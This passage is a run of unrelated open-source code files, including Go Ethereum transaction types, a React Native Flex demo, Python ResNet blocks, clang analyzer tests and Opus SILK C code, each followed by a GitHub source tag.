nil } to := *tx.data.Recipient return &to } // Hash hashes the RLP encoding of tx. // It uniquely identifies the transaction. func (tx *Transaction) Hash() common.Hash { if hash := tx.hash.Load(); hash != nil { return hash.(common.Hash) } v := rlpHash(tx) tx.hash.Store(v) return v } func (tx *Transaction) Size() common.StorageSize { if size := tx.size.Load(); size != nil { return size.(common.StorageSize) } c := writeCounter(0) rlp.Encode(&c, &tx.data) tx.size.Store(common.StorageSize(c)) return common.StorageSize(c) } // AsMessage returns the transaction as a core.Message. // // AsMessage requires a signer to derive the sender. // // XXX Rename message to something less arbitrary? func (tx *Transaction) AsMessage(s Signer) (Message, error) { msg := Message{ nonce: tx.data.AccountNonce, price: new(big.Int).Set(tx.data.Price), gasLimit: new(big.Int).Set(tx.data.GasLimit), to: tx.data.Recipient, amount: tx.data.Amount, data: tx.data.Payload, checkNonce: true, } var err error msg.from, err = Sender(s, tx) return msg, err } // WithSignature returns a new transaction with the given signature. // This signature needs to be formatted as described in the yellow paper (v+27). func (tx *Transaction) WithSignature(signer Signer, sig []byte) (*Transaction, error) { r, s, v, err := signer.SignatureValues(tx, sig) if err != nil { return nil, err } cpy := &Transaction{data: tx.data} cpy.data.R, cpy.data.S, cpy.data.V = r, s, v return cpy, nil } // Cost returns amount + gasprice * gaslimit. func (tx *Transaction) Cost() *big.Int { total := new(big.Int).Mul(tx.data.Price, tx.data.GasLimit) total.Add(total, tx.data.Amount) return total } func (tx *Transaction) RawSignatureValues() (*big.Int, *big.Int, *big.Int) { return tx.data.V, tx.data.R, tx.data.S } func (tx *Transaction) String() string { var from, to string if tx.data.V != nil { // make a best guess about the signer and use that to derive // the sender. signer := deriveSigner(tx.data.V) if f, err := Sender(signer, tx); err != nil { // derive but don't cache from = "[invalid sender: invalid sig]" } else { from = fmt.Sprintf("%x", f[:]) } } else { from = "[invalid sender: nil V field]" } if tx.data.Recipient == nil { to = "[contract creation]" } else { to = fmt.Sprintf("%x", tx.data.Recipient[:]) } enc, _ := rlp.EncodeToBytes(&tx.data) return fmt.Sprintf(` TX(%x) Contract: %v From: %s To: %s Nonce: %v GasPrice: %#x GasLimit %#x Value: %#x Data: 0x%x V: %#x R: %#x S: %#x Hex: %x `, tx.Hash(), tx.data.Recipient == nil, from, to, tx.data.AccountNonce, tx.data.Price, tx.data.GasLimit, tx.data.Amount, tx.data.Payload, tx.data.V, tx.data.R, tx.data.S, enc, ) } // Transactions is a Transaction slice type for basic sorting. type Transactions []*Transaction // Len returns the length of s. func (s Transactions) Len() int { return len(s) } // Swap swaps the i'th and the j'th element in s. func (s Transactions) Swap(i, j int) { s[i], s[j] = s[j], s[i] } // GetRlp implements Rlpable and returns the i'th element of s in rlp. func (s Transactions) GetRlp(i int) []byte { enc, _ := rlp.EncodeToBytes(s[i]) return enc } // TxDifference returns a new set t which is the difference between a to b. func TxDifference(a, b Transactions) (keep Transactions) { keep = make(Transactions, 0, len(a)) remove := make(map[common.Hash]struct{}) for _, tx := range b { remove[tx.Hash()] = struct{}{} } for _, tx := range a { if _, ok := remove[tx.Hash()]; !ok { keep = append(keep, tx) } } return keep } // TxByNonce implements the sort interface to allow sorting a list of transactions // by their nonces. This is usually only useful for sorting transactions from a // single account, otherwise a nonce comparison doesn't make much sense. type TxByNonce Transactions func (s TxByNonce) Len() int { return len(s) } func (s TxByNonce) Less(i, j int) bool { return s[i].data.AccountNonce < s[j].data.AccountNonce } func (s TxByNonce) Swap(i, j int) { s[i], s[j] = s[j], s[i] } // TxByPrice implements both the sort and the heap interface, making it useful // for all at once sorting as well as individually adding and removing elements. type TxByPrice Transactions func (s TxByPrice) Len() int { return len(s) } func (s TxByPrice) Less(i, j int) bool { return s[i].data.Price.Cmp(s[j].data.Price) > 0 } func (s TxByPrice) Swap(i, j int) { s[i], s[j] = s[j], s[i] } func (s *TxByPrice) Push(x interface{}) { *s = append(*s, x.(*Transaction)) } func (s *TxByPrice) Pop() interface{} { old := *s n := len(old) x := old[n-1] *s = old[0 : n-1] return x } // TransactionsByPriceAndNonce represents a set of transactions that can return // transactions in a profit-maximizing sorted order, while supporting removing // entire batches of transactions for non-executable accounts. type TransactionsByPriceAndNonce struct { txs map[common.Address]Transactions // Per account nonce-sorted list of transactions heads TxByPrice // Next transaction for each unique account (price heap) signer Signer // Signer for the set of transactions } // NewTransactionsByPriceAndNonce creates a transaction set that can retrieve // price sorted transactions in a nonce-honouring way. // // Note, the input map is reowned so the caller should not interact any more with // if after providing it to the constructor. func NewTransactionsByPriceAndNonce(signer Signer, txs map[common.Address]Transactions) *TransactionsByPriceAndNonce { // Initialize a price based heap with the head transactions heads := make(TxByPrice, 0, len(txs)) for _, accTxs := range txs { heads = append(heads, accTxs[0]) // Ensure the sender address is from the signer acc, _ := Sender(signer, accTxs[0]) txs[acc] = accTxs[1:] } heap.Init(&heads) // Assemble and return the transaction set return &TransactionsByPriceAndNonce{ txs: txs, heads: heads, signer: signer, } } // Peek returns the next transaction by price. func (t *TransactionsByPriceAndNonce) Peek() *Transaction { if len(t.heads) == 0 { return nil } return t.heads[0] } // Shift replaces the current best head with the next one from the same account. func (t *TransactionsByPriceAndNonce) Shift() { acc, _ := Sender(t.signer, t.heads[0]) if txs, ok := t.txs[acc]; ok && len(txs) > 0 { t.heads[0], t.txs[acc] = txs[0], txs[1:] heap.Fix(&t.heads, 0) } else { heap.Pop(&t.heads) } } // Pop removes the best transaction, *not* replacing it with the next one from // the same account. This should be used when a transaction cannot be executed // and hence all subsequent ones should be discarded from the same account. func (t *TransactionsByPriceAndNonce) Pop() { heap.Pop(&t.heads) } // Message is a fully derived transaction and implements core.Message // // NOTE: In a future PR this will be removed. type Message struct { to *common.Address from common.Address nonce uint64 amount, price, gasLimit *big.Int data []byte checkNonce bool } func NewMessage(from common.Address, to *common.Address, nonce uint64, amount, gasLimit, price *big.Int, data []byte, checkNonce bool) Message { return Message{ from: from, to: to, nonce: nonce, amount: amount, price: price, gasLimit: gasLimit, data: data, checkNonce: checkNonce, } } func (m Message) From() common.Address { return m.from } func (m Message) To() *common.Address { return m.to } func (m Message) GasPrice() *big.Int { return m.price } func (m Message) Value() *big.Int { return m.amount } func (m Message) Gas() *big.Int { return m.gasLimit } func (m Message) Nonce() uint64 { return m.nonce } func (m Message) Data() []byte { return m.data } func (m Message) CheckNonce() bool { return m.checkNonce }
{ "pile_set_name": "Github" }
/* * Copyright 2008-2012 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * https://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.springframework.batch.item.file; import org.springframework.batch.item.AbstractItemStreamItemReaderTests; import org.springframework.batch.item.ExecutionContext; import org.springframework.batch.item.ItemReader; import org.springframework.batch.item.sample.Foo; import org.springframework.core.io.ByteArrayResource; import org.springframework.core.io.Resource; /** * Tests for {@link FlatFileItemReader}. */ public class FlatFileItemReaderCommonTests extends AbstractItemStreamItemReaderTests{ private static final String FOOS = "1 \n 2 \n 3 \n 4 \n 5 \n"; @Override protected ItemReader<Foo> getItemReader() throws Exception { FlatFileItemReader<Foo> tested = new FlatFileItemReader<>(); Resource resource = new ByteArrayResource(FOOS.getBytes()); tested.setResource(resource); tested.setLineMapper(new LineMapper<Foo>() { @Override public Foo mapLine(String line, int lineNumber) { Foo foo = new Foo(); foo.setValue(Integer.valueOf(line.trim())); return foo; } }); tested.setSaveState(true); tested.afterPropertiesSet(); return tested; } @Override protected void pointToEmptyInput(ItemReader<Foo> tested) throws Exception { FlatFileItemReader<Foo> reader = (FlatFileItemReader<Foo>) tested; reader.close(); reader.setResource(new ByteArrayResource("".getBytes())); reader.afterPropertiesSet(); reader.open(new ExecutionContext()); } }
{ "pile_set_name": "Github" }
package client.net.sf.saxon.ce.expr.z; /** * Interface defining a predicate that can be tested to determine whether an integer * satisfies, or does not satisfy, some condition. */ public interface IntPredicate { /** * Ask whether a given value matches this predicate * @param value the value to be tested * @return true if the value matches; false if it does not */ public boolean matches(int value); } // This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. // If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. // This Source Code Form is “Incompatible With Secondary Licenses”, as defined by the Mozilla Public License, v. 2.0.
{ "pile_set_name": "Github" }
import React from 'react'; import { ScrollView, Text, TouchableWithoutFeedback, View } from 'react-native'; import { Button, Flex, WhiteSpace, WingBlank } from '../../'; const Circle = (props: any) => { const size = props.size || 20; const style = { borderRadius: size / 2, backgroundColor: '#527fe4', width: size, height: size, margin: 1, }; return <View style={style} />; }; export default class FlexExample extends React.Component<any, any> { render() { return ( <ScrollView style={{ flex: 1 }} automaticallyAdjustContentInsets={false} showsHorizontalScrollIndicator={false} showsVerticalScrollIndicator={false} > <WingBlank style={{ marginTop: 20, marginBottom: 5 }}> <Text style={{ marginBottom: 10 }}>项目的排列方向</Text> <Text>direction="row":主轴为水平方向,起点在左端</Text> </WingBlank> <WingBlank style={{ marginBottom: 5 }}> <Flex> <Flex.Item style={{ paddingLeft: 4, paddingRight: 4 }}> <Button size="small">按钮1</Button> </Flex.Item> <Flex.Item style={{ paddingLeft: 4, paddingRight: 4 }}> <Button size="small">按钮2</Button> </Flex.Item> <Flex.Item style={{ paddingLeft: 4, paddingRight: 4 }}> <Button size="small">按钮3</Button> </Flex.Item> </Flex> </WingBlank> <WingBlank style={{ marginTop: 5, marginBottom: 5 }}> <Text>direction="column":主轴为垂直方向,起点在上沿</Text> </WingBlank> <WingBlank style={{ marginBottom: 5 }}> <Flex direction="column"> <Flex.Item style={{ paddingBottom: 4 }}> <Button size="small">按钮1</Button> </Flex.Item> <Flex.Item style={{ paddingBottom: 4 }}> <Button size="small">按钮2</Button> </Flex.Item> <Flex.Item style={{ paddingBottom: 4 }}> <Button size="small">按钮3</Button> </Flex.Item> </Flex> </WingBlank> <WingBlank style={{ marginTop: 5, marginBottom: 5 }}> <Text style={{ marginTop: 20, marginBottom: 20 }}> 项目在主轴上的对齐方式 </Text> <Text>justify="start":左对齐</Text> </WingBlank> <WingBlank style={{ marginBottom: 5 }}> <Flex justify="start"> <Circle /> <Circle /> <Circle /> <Circle /> <Circle /> </Flex> </WingBlank> <WingBlank style={{ marginTop: 5, marginBottom: 5 }}> <Text>justify="center":居中</Text> </WingBlank> <WingBlank style={{ marginBottom: 5 }}> <Flex justify="center"> <Circle /> <Circle /> <Circle /> <Circle /> <Circle /> </Flex> </WingBlank> <WingBlank style={{ marginTop: 5, marginBottom: 5 }}> <Text>justify="end":右对齐</Text> </WingBlank> <WingBlank style={{ marginBottom: 5 }}> <Flex justify="end"> <Circle /> <Circle /> <Circle /> <Circle /> <Circle /> </Flex> </WingBlank> <WingBlank style={{ marginTop: 5, marginBottom: 5 }}> <Text>justify="between":两端对齐,项目之间的间隔都相等</Text> </WingBlank> <WingBlank style={{ marginBottom: 5 }}> <Flex justify="between"> <Circle /> <Circle /> <Circle /> <Circle /> <Circle /> </Flex> </WingBlank> <WingBlank style={{ marginTop: 5, marginBottom: 5 }}> <Text>justify="around":每个项目两侧的间隔相等</Text> </WingBlank> <WingBlank style={{ marginBottom: 5 }}> <Flex justify="around"> <Circle /> <Circle /> <Circle /> <Circle /> <Circle /> </Flex> </WingBlank> <WingBlank style={{ marginTop: 5, marginBottom: 5 }}> <Text style={{ marginTop: 20, marginBottom: 20 }}> 项目在交叉轴上的对齐方式 </Text> <Text>align="start":交叉轴的起点对齐</Text> </WingBlank> <WingBlank style={{ marginBottom: 5 }}> <Flex align="start" style={{ height: 30 }}> <Text style={{ fontSize: 20, borderWidth: 1, borderStyle: 'solid', borderColor: '#527fe4', }} > 兜兜 </Text> <Text style={{ fontSize: 18, borderWidth: 1, borderStyle: 'solid', borderColor: '#527fe4', }} > 兜兜 </Text> <Text style={{ fontSize: 16, borderWidth: 1, borderStyle: 'solid', borderColor: '#527fe4', }} > 兜兜 </Text> <Text style={{ fontSize: 14, borderWidth: 1, borderStyle: 'solid', borderColor: '#527fe4', }} > 兜兜 </Text> </Flex> </WingBlank> <WingBlank style={{ marginTop: 5, marginBottom: 5 }}> <Text>align="center":交叉轴的中点对齐</Text> </WingBlank> <WingBlank style={{ marginBottom: 5 }}> <Flex align="center" style={{ height: 30 }}> <Text style={{ fontSize: 20, borderWidth: 1, borderStyle: 'solid', borderColor: '#527fe4', }} > 兜兜 </Text> <Text style={{ fontSize: 18, borderWidth: 1, borderStyle: 'solid', borderColor: '#527fe4', }} > 兜兜 </Text> <Text style={{ fontSize: 16, borderWidth: 1, borderStyle: 'solid', borderColor: '#527fe4', }} > 兜兜 </Text> <Text style={{ fontSize: 14, borderWidth: 1, borderStyle: 'solid', borderColor: '#527fe4', }} > 兜兜 </Text> </Flex> </WingBlank> <WingBlank style={{ marginTop: 5, marginBottom: 5 }}> <Text>align="end":交叉轴的终点对齐</Text> </WingBlank> <WingBlank style={{ marginBottom: 5 }}> <Flex align="end" style={{ height: 30 }}> <Text style={{ fontSize: 20, borderWidth: 1, borderStyle: 'solid', borderColor: '#527fe4', }} > 兜兜 </Text> <Text style={{ fontSize: 18, borderWidth: 1, borderStyle: 'solid', borderColor: '#527fe4', }} > 兜兜 </Text> <Text style={{ fontSize: 16, borderWidth: 1, borderStyle: 'solid', borderColor: '#527fe4', }} > 兜兜 </Text> <Text style={{ fontSize: 14, borderWidth: 1, borderStyle: 'solid', borderColor: '#527fe4', }} > 兜兜 </Text> </Flex> </WingBlank> <WingBlank style={{ marginTop: 5, marginBottom: 5 }}> <Text> align="stretch":如果项目未设置高度或设为auto,将占满整个容器的高度 </Text> </WingBlank> <WingBlank style={{ marginBottom: 5 }}> <WingBlank> <Flex align="stretch" style={{ height: 70 }}> <Text style={{ fontSize: 20, borderWidth: 1, borderStyle: 'solid', borderColor: '#527fe4', }} > 兜兜 </Text> <Text style={{ fontSize: 18, borderWidth: 1, borderStyle: 'solid', borderColor: '#527fe4', }} > 兜兜 </Text> <Text style={{ fontSize: 16, borderWidth: 1, borderStyle: 'solid', borderColor: '#527fe4', }} > 兜兜 </Text> <Text style={{ fontSize: 14, borderWidth: 1, borderStyle: 'solid', borderColor: '#527fe4', }} > 兜兜 </Text> </Flex> </WingBlank> </WingBlank> <WingBlank style={{ marginTop: 5, marginBottom: 5 }}> <Text style={{ marginBottom: 10 }}>是否折行</Text> <Text>wrap="wrap":换行</Text> </WingBlank> <WingBlank style={{ marginBottom: 5 }}> <TouchableWithoutFeedback onPress={() => ({})}> <Flex wrap="wrap"> {'ooooooooooooooooooooooooooooo' .split('') .map((char, i) => <Circle key={`${i}-${char}`} />)} </Flex> </TouchableWithoutFeedback> </WingBlank> <WingBlank style={{ marginTop: 5, marginBottom: 5 }}> <Text>wrap="nowrap":不换行</Text> </WingBlank> <WingBlank style={{ marginBottom: 5 }}> <Flex wrap="nowrap" onPress={() => ({})}> {'ooooooooooooooooooooooooooooo' .split('') .map((char, i) => <Circle key={`${i}-${char}`} />)} </Flex> </WingBlank> <WhiteSpace /> <WhiteSpace /> <WhiteSpace /> </ScrollView> ); } }
{ "pile_set_name": "Github" }
// ================================================================= // // * WARNING * // // This file is generated! // // Changes made to this file will be overwritten. If changes are // required to the generated code, the service_crategen project // must be updated to generate the changes. // // ================================================================= #![doc( html_logo_url = "https://raw.githubusercontent.com/rusoto/rusoto/master/assets/logo-square.png" )] //! <p> Elastic Inference public APIs. </p> //! //! If you're using the service, you're probably looking for [ElasticInferenceClient](struct.ElasticInferenceClient.html) and [ElasticInference](trait.ElasticInference.html). mod custom; mod generated; pub use custom::*; pub use generated::*;
{ "pile_set_name": "Github" }
@echo off setlocal REM Copyright 2006-2010 Amazon.com, Inc. or its affiliates. All Rights Reserved. Licensed under the REM Amazon Software License (the "License"). You may not use this file except in compliance with the License. A copy of the REM License is located at http://aws.amazon.com/asl or in the "license" file accompanying this file. This file is distributed on an "AS REM IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific REM language governing permissions and limitations under the License. REM Set intermediate env vars because the %VAR:x=y% notation below REM (which replaces the string x with the string y in VAR) REM doesn't handle undefined environment variables. This way REM we're always dealing with defined variables in those tests. set CHK_HOME=_%EC2_HOME% if "%CHK_HOME:"=%" == "_" goto HOME_MISSING "%EC2_HOME:"=%\bin\ec2-cmd" DescribeInstanceAttribute %* goto DONE :HOME_MISSING echo EC2_HOME is not set exit /b 1 :DONE
{ "pile_set_name": "Github" }
# Copyright (c) Facebook, Inc. and its affiliates. # # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. import symbol_basic import symbol_octconv from symbol_seblock import SE_Block __all__ = ['BottleNeckV1', 'BottleNeckV2', ] '''Post-activation, see: ResNet (CVPR ver.) for more details''' def BottleNeckV1(data, num_in, num_mid, num_out, name, first_block=False, stride=(1, 1), num_group=1, use_se=False, zero_init_gamma=False, ratio=-1): sym = symbol_basic if ratio >= 0: num_mid = (num_mid - int(ratio*num_mid), int(ratio*num_mid)) num_out = (num_out - int(ratio*num_out), int(ratio*num_out)) sym = symbol_octconv # overwrite operators out = sym.Conv_BN_ACT(data=data, num_filter=num_mid, kernel=(1, 1), pad=(0, 0), name=('%s_conv1' % name)) out = sym.Conv_BN_ACT(data=out, num_filter=num_mid, kernel=(3, 3), pad=(1, 1), name=('%s_conv2' % name), stride=stride, num_group=num_group) out = sym.Conv_BN( data=out, num_filter=num_out, kernel=(1, 1), pad=(0, 0), name=('%s_conv3' % name), zero_init_gamma=zero_init_gamma) # optional out = SE_Block(sym=sym, data=out, num_out=num_out, name=('%s_se' % name)) if use_se else out if first_block: data = sym.Conv_BN(data=data, num_filter=num_out, kernel=(1, 1), pad=(0, 0), name=('%s_conv4' % name), stride=stride) out = sym.ElementWiseSum(*[data, out], name=('%s_sum' % name)) out = sym.Activation(data=out, act_type='relu', name=('%s_relu' % name)) return out '''Pre-activation, see: ResNet (ECCV ver.) for more details''' def BottleNeckV2(data, num_in, num_mid, num_out, name, first_block=False, stride=(1, 1), num_group=1, use_se=False, ratio=-1): sym = symbol_basic if ratio >= 0: num_mid = (num_mid - int(ratio*num_mid), int(ratio*num_mid)) num_out = (num_out - int(ratio*num_out), int(ratio*num_out)) sym = symbol_octconv # overwrite operators out = sym.BN_ACT_Conv(data=data, num_filter=num_mid, kernel=(1, 1), pad=(0, 0), name=('%s_conv1' % name)) out = sym.BN_ACT_Conv(data=out, num_filter=num_mid, kernel=(3, 3), pad=(1, 1), name=('%s_conv2' % name), stride=stride, num_group=num_group) out = sym.BN_ACT_Conv(data=out, num_filter=num_out, kernel=(1, 1), pad=(0, 0), name=('%s_conv3' % name)) # optional out = SE_Block(sym=sym, data=out, num_out=num_out, name=('%s_se' % name)) if use_se else out if first_block: data = sym.BN_ACT_Conv(data=data, num_filter=num_out, kernel=(1, 1), pad=(0, 0), name=('%s_conv4' % name), stride=stride) out = sym.ElementWiseSum(*[data, out], name=('%s_sum' % name)) return out
{ "pile_set_name": "Github" }
/* * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ angular.module('zeppelinWebApp').controller('clipboardCtrl', ClipboardController); function ClipboardController($scope) { 'ngInject'; $scope.complete = function(e) { $scope.copied = true; $scope.tooltip = 'Copied!'; setTimeout(function() { $scope.tooltip = 'Copy to clipboard'; }, 400); }; $scope.$watch('input', function() { $scope.copied = false; $scope.tooltip = 'Copy to clipboard'; }); $scope.clipError = function(e) { console.log('Error: ' + e.name + ' - ' + e.message); $scope.tooltip = 'Not supported browser'; }; }
{ "pile_set_name": "Github" }
// RUN: %clang_analyze_cc1 -analyzer-checker=core,debug.ExprInspection -std=c99 -verify %s void clang_analyzer_eval(int); void array_init() { int a[5] = {[4] = 29, [2] = 15, [0] = 4}; clang_analyzer_eval(a[0] == 4); // expected-warning{{TRUE}} clang_analyzer_eval(a[1] == 0); // expected-warning{{TRUE}} clang_analyzer_eval(a[2] == 15); // expected-warning{{TRUE}} clang_analyzer_eval(a[3] == 0); // expected-warning{{TRUE}} clang_analyzer_eval(a[4] == 29); // expected-warning{{TRUE}} int b[5] = {[0 ... 2] = 1, [4] = 5}; clang_analyzer_eval(b[0] == 1); // expected-warning{{TRUE}} clang_analyzer_eval(b[1] == 1); // expected-warning{{TRUE}} clang_analyzer_eval(b[2] == 1); // expected-warning{{TRUE}} clang_analyzer_eval(b[3] == 0); // expected-warning{{TRUE}} clang_analyzer_eval(b[4] == 5); // expected-warning{{TRUE}} } struct point { int x, y; }; void struct_init() { struct point p = {.y = 5, .x = 3}; clang_analyzer_eval(p.x == 3); // expected-warning{{TRUE}} clang_analyzer_eval(p.y == 5); // expected-warning{{TRUE}} } void array_of_struct() { struct point ptarray[3] = { [2].y = 1, [2].x = 2, [0].x = 3 }; clang_analyzer_eval(ptarray[0].x == 3); // expected-warning{{TRUE}} clang_analyzer_eval(ptarray[0].y == 0); // expected-warning{{TRUE}} clang_analyzer_eval(ptarray[1].x == 0); // expected-warning{{TRUE}} clang_analyzer_eval(ptarray[1].y == 0); // expected-warning{{TRUE}} clang_analyzer_eval(ptarray[2].x == 2); // expected-warning{{TRUE}} clang_analyzer_eval(ptarray[2].y == 1); // expected-warning{{TRUE}} }
{ "pile_set_name": "Github" }
# frozen_string_literal: true module Xlsxtream class Columns # Pass an Array of column options Hashes. Symbol Hash keys and associated # values are as follows: # # +width_chars+:: Approximate column with in characters, calculated per # MSDN docs as if using a default 11 point Calibri font # for a 96 DPI target. Specify as an integer. # # +width_pixels+:: Exact with of column in pixels. Specify as a Float. # Overrides +width_chars+ if that is also provided. # def initialize(column_options_array) @columns = column_options_array end def to_xml xml = String.new('<cols>') @columns.each_with_index do |column, index| width_chars = column[ :width_chars ] width_pixels = column[ :width_pixels ] if width_chars.nil? && width_pixels.nil? xml << %Q{<col min="#{index + 1}" max="#{index + 1}"/>} else # https://msdn.microsoft.com/en-us/library/office/documentformat.openxml.spreadsheet.column.aspx # # Truncate( # [{Number of Characters} * {Maximum Digit Width} + {5 pixel padding}] # /{Maximum Digit Width}*256 # )/256 # # "Using the Calibri font as an example, the maximum digit width of # 11 point font size is 7 pixels (at 96 dpi)" # # By observation, though, I note that a different spreadsheet-wide # font size selected via the Workbook's ":font => { :size => ... }" # options Hash entry results in Excel, at least, scaling the given # widths in proportion with the requested font size change. We do # not, apparently, need to do that ourselves and run the calculation # based on the reference 11 point -> 7 pixel figure. # width_pixels ||= ((((width_chars * 7.0) + 5) / 7) * 256).truncate() / 256.0 xml << %Q{<col min="#{index + 1}" max="#{index + 1}" width="#{width_pixels}" customWidth="1"/>} end end xml << '</cols>' end end end
{ "pile_set_name": "Github" }
/* https://leetcode.com/problems/validate-binary-search-tree/ #98 Validate Binary Search Tree Given a binary tree, determine if it is a valid binary search tree (BST). Assume a BST is defined as follows: The left subtree of a node contains only nodes with keys less than the node's key. The right subtree of a node contains only nodes with keys greater than the node's key. Both the left and right subtrees must also be binary search trees. Inspired by [@jakwings](https://leetcode.com/discuss/14886/order-traversal-please-rely-buggy-int_max-int_min-solutions) */ import Foundation class Medium_098_Validate_Binary_Search_Tree { class Node { var left: Node? var right: Node? var value: Int init(value: Int, left: Node?, right: Node?) { self.value = value self.left = left self.right = right } } private class func isValidBSTRecursionHelper(curr: Node?, prev: inout Node?) -> Bool { if curr == nil { return true } else { if isValidBSTRecursionHelper(curr: curr!.left, prev: &prev) == false { return false } if prev != nil && prev!.value > curr!.value { return false } prev = curr return isValidBSTRecursionHelper(curr: curr!.right, prev: &prev) } } // t = O(N), average s = O(logN), worst s = O(N) class func isValidBST(_ root: Node?) -> Bool { var prev: Node? = nil return isValidBSTRecursionHelper(curr: root, prev: &prev) } }
{ "pile_set_name": "Github" }
-- OPENTOMB LEVEL SCRIPT -- FOR TOMB RAIDER, LEVEL2 (CAVES) print("level/tr1/level2.city_of_vilcabamba->level_loaded !"); -- overlapped list generates correctly level_PostLoad = function() end; level_PreLoad = function() -------------------------------------------------------------------------------- -- STATIC COLLISION FLAGS ------------------------------------------------------ -------------------------------------------------------------------------------- static_tbl[06] = {coll = COLLISION_NONE, shape = COLLISION_SHAPE_BOX}; -- Hanging plant static_tbl[08] = {coll = COLLISION_NONE, shape = COLLISION_SHAPE_BOX}; -- Hanging plant static_tbl[10] = {coll = COLLISION_GROUP_STATIC_OBLECT, shape = COLLISION_SHAPE_TRIMESH}; -- Wood barrier static_tbl[33] = {coll = COLLISION_GROUP_STATIC_OBLECT, shape = COLLISION_SHAPE_BOX}; -- Statues static_tbl[34] = {coll = COLLISION_GROUP_STATIC_OBLECT, shape = COLLISION_SHAPE_TRIMESH}; -- Bridge part 2 static_tbl[38] = {coll = COLLISION_NONE, shape = COLLISION_SHAPE_BOX}; -- Door frame static_tbl[39] = {coll = COLLISION_GROUP_STATIC_OBLECT, shape = COLLISION_SHAPE_TRIMESH}; -- Wall bricks static_tbl[43] = {coll = COLLISION_NONE, shape = COLLISION_SHAPE_BOX}; -- Icicle end;
{ "pile_set_name": "Github" }
package action import ( "fmt" "sync/atomic" ) // ApplyResult is a result of applying actions type ApplyResult struct { Success uint32 Failed uint32 Skipped uint32 Total uint32 } // ApplyResultUpdater is an interface for handling revision progress stats (# of processed actions) when applying action plan type ApplyResultUpdater interface { SetTotal(actions uint32) AddSuccess() AddFailed() AddSkipped() Done() *ApplyResult } // ApplyResultUpdaterImpl is a default thread-safe implementation of ApplyResultUpdater type ApplyResultUpdaterImpl struct { Result *ApplyResult } // NewApplyResultUpdaterImpl creates a new default thread-safe implementation ApplyResultUpdaterImpl of ApplyResultUpdater func NewApplyResultUpdaterImpl() *ApplyResultUpdaterImpl { return &ApplyResultUpdaterImpl{ Result: &ApplyResult{}, } } // SetTotal safely sets the total number of actions func (updater *ApplyResultUpdaterImpl) SetTotal(total uint32) { atomic.StoreUint32(&updater.Result.Total, total) } // AddSuccess safely increments the number of successfully executed actions func (updater *ApplyResultUpdaterImpl) AddSuccess() { atomic.AddUint32(&updater.Result.Success, 1) } // AddFailed safely increments the number of failed actions func (updater *ApplyResultUpdaterImpl) AddFailed() { atomic.AddUint32(&updater.Result.Failed, 1) } // AddSkipped safely increments the number of skipped actions func (updater *ApplyResultUpdaterImpl) AddSkipped() { atomic.AddUint32(&updater.Result.Skipped, 1) } // Done does nothing except doing an integrity check for default implementation func (updater *ApplyResultUpdaterImpl) Done() *ApplyResult { if updater.Result.Success+updater.Result.Failed+updater.Result.Skipped != updater.Result.Total { panic(fmt.Sprintf("error while applying actions: %d (success) + %d (failed) + %d (skipped) != %d (total)", updater.Result.Success, updater.Result.Failed, updater.Result.Skipped, updater.Result.Total)) } return updater.Result }
{ "pile_set_name": "Github" }
/*********************************************************************** Copyright (c) 2006-2011, Skype Limited. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: - Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. - Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. - Neither the name of Internet Society, IETF or IETF Trust, nor the names of specific contributors, may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ***********************************************************************/ #ifdef HAVE_CONFIG_H #include "config.h" #endif #include "main.h" /* Entropy constrained matrix-weighted VQ, hard-coded to 5-element vectors, for a single input data vector */ void silk_VQ_WMat_EC_c( opus_int8 *ind, /* O index of best codebook vector */ opus_int32 *res_nrg_Q15, /* O best residual energy */ opus_int32 *rate_dist_Q8, /* O best total bitrate */ opus_int *gain_Q7, /* O sum of absolute LTP coefficients */ const opus_int32 *XX_Q17, /* I correlation matrix */ const opus_int32 *xX_Q17, /* I correlation vector */ const opus_int8 *cb_Q7, /* I codebook */ const opus_uint8 *cb_gain_Q7, /* I codebook effective gain */ const opus_uint8 *cl_Q5, /* I code length for each codebook vector */ const opus_int subfr_len, /* I number of samples per subframe */ const opus_int32 max_gain_Q7, /* I maximum sum of absolute LTP coefficients */ const opus_int L /* I number of vectors in codebook */ ) { opus_int k, gain_tmp_Q7; const opus_int8 *cb_row_Q7; opus_int32 neg_xX_Q24[ 5 ]; opus_int32 sum1_Q15, sum2_Q24; opus_int32 bits_res_Q8, bits_tot_Q8; /* Negate and convert to new Q domain */ 